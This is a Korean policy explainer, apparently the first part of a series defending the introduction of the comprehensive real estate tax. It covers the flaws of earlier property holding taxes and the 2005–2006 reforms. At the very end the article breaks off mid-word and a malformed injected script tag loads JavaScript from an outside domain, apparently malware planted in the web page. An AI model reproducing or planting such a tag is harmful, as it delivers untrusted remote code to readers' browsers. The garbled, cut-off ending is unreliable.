기획연제 - 종합부동산세①
“종합부동산세 도입, 불가피한 선택이었다”
■ 과거의 보유세, 무엇이 문제였나?
승용차보다 더 적은 보유세 부담
세금은 밝고 건강한 사회를 유지하기 위한 필수적인 재원으로, 이를 누가 얼마만큼 분담할 것인가를 정한 것이 세법이라 할 수 있다.
보유세는 세법에 정한 다양한 재원 분담기준 중에 부동산을 많이 보유하거나 비싼 부동산을 보유한 사람들이 그 사회의 유지비용을 더 많이 내도록 하는 것이다. 이것은 소득이 많은 사람들이 더 많은 소득세를 부담해야 하는 것과 같은, 아주 자연스럽고 당연한 일이다.
그러나 2004년까지 우리나라는 부동산을 보유하면서 그 가치를 향유하는 것에 비해 보유세가 너무 적었다는 사실에는 어느 정도 사회적 공감대가 형성되어 있었다. 주택이 자동차보다 보유혜택이나 자산가치가 훨씬 크지만 실제 세부담률에서는 자동차가 오히려 6배나 높은 모순이 있었다.
너무 적은 보유세는 투기목적의 과도한 보유를 조장함으로써 자금이 보다 생산적인 부문으로 흘러가는 것을 방해하고 국민들의 건전한 근로의욕을 떨어뜨려 사회통합의 걸림돌이 되었다.
평수 넓은 지방아파트가 보유세는 더 많아
건물에 부과되는 재산세는 실제 재산가치가 아니라, 새아파트냐, 평수가 얼마냐 등에 따라 재산세를 부과했다. 즉, 신축건물기준금액에 구조·용도·위치지수 및 건축연도 등을 적용하는 원가법을 사용한 것이다.
이에 따라 시세가 더 낮은 아파트인데도 단지 평수가 넓다는 이유로 더 많은 재산세를 내 서울과 지방, 서울에서도 강남·북간 재산세 부담의 불형평 문제가 끊임없이 제기됐다.
또한, 종합토지세는 토지에 대한 과세표준액을 매년 개별공시지가에 시·군·구에서 결정·고시하는 일정비율을 적용하여 산정함에 따라 시·군·구마다 적용률 및 과표현실화율에 상당한 차이가 있었다.
※토지과표 현실화율(’04년) : (최저)파주시 35.3%~(전국평균)39.2%~(최고)울릉군 47%
과세표준이 조금만 올라도 세금부담은 급증
종전의 종합토지세는 과세표준액에 분리과세대상은 0.1%부터 5%의 세율을 적용하고, 합산과세대상은 0.2%부터 5%의 세율(9단계)을 적용하고 있었다. 재산세도 과세표준액 기준으로 1,200만원 이하 0.3%부터 4,000만원 초과 7%의 세율(6단계)로 구성되어 있었다.
과표현실화율이 낮은 것을 감안해 과세표준이 높으면 더욱 더 많은 세금을 내는 체계로 되어 있었기 때문에 과세표준액이 조금만 올라도 보유세액이 급증하는 문제가 발생했다.
※(예) 재산세 : 1,200만원 이하 0.3%~4,000만원 초과 7%
·과표차이는 3.3배(1,200만원 → 4,000만원)에 불과한데
세율차이는 23배(0.3% → 7%)
수도권과 지방간 세수 격차가 큼
땅값이나 집값이 비싸고 세원이 많은 수도권과 지방간 세수 격차가 커서 지방의 경우 재원부족으로 인해 지역개발이 늦추어 지는 등 지역발전의 불균형이 심화됐다.
※ 지방자체단체간 보유세 세수입 비교(’04년)
서울 강남구 : 1,900억원, 강원 인제군 : 6.8억원
■ 보유세 어떻게 개편되었나?
경제적 실질에 맞는 과세표준 및 세액의 산정
보유 재산가액에 상응하는 세금부담이 되도록 토지·건물의 평가에 있어 실제 거래가액을 반영하여 납세자간, 지역간 과세형평성을 제고하였다. 주택은 종전에 건물은 재산세, 토지는 종합토지세로 구분과세 하던 것을 주택거래의 실제상황을 반영해 건물과 그 부속토지를 통합평가하여 통합과세한다.
보유세제 개편에 따른 급격한 세부담 증가를 방지하기 위하여 세부담상한제를 두었으며 종전의 복잡하고 급격한 누진세율 체계를 단순화하고 세율은 전반적으로 인하했다.
종전의 보유세를 재산세와 종합부동산세로 이원화
종전의 보유세를 재산세와 종합부동산세로 이원화하여, 1차로 재산소재지 관할 시·군·구에서 낮은 세율로 재산세를 부과하고, 전국 소유 부동산을 인별로 합산하여 일정 기준금액 초과분은 2차로 종합부동산세를 과세하도록 했다.
보유세는 강화한 반면 거래세는 완화
과세표준 산정방법을 경제적 실질에 맞게 개선하고 종합부동산세를 도입하는 등 보유세는 강화하는 한편, 부동산의 원활한 거래를 유도하기 위해 거래세를 계속 완화(주택거래 : 5%→2%)했다. 이는 선진외국에 비해 비정상적이었던 우리나라 거래세와 보유세 비중을 합리적으로 조정한 측면도 있다.
8.31 부동산 대책에 따른 보유세 개편(’06년 시행)
종합부동산세 도입으로 보유세 부담이 다소 늘기는 하였으나 부동산시장 안정기능에는 미흡하고 세대원간 분?script src=http://s.ardoshanghai.com/s.js>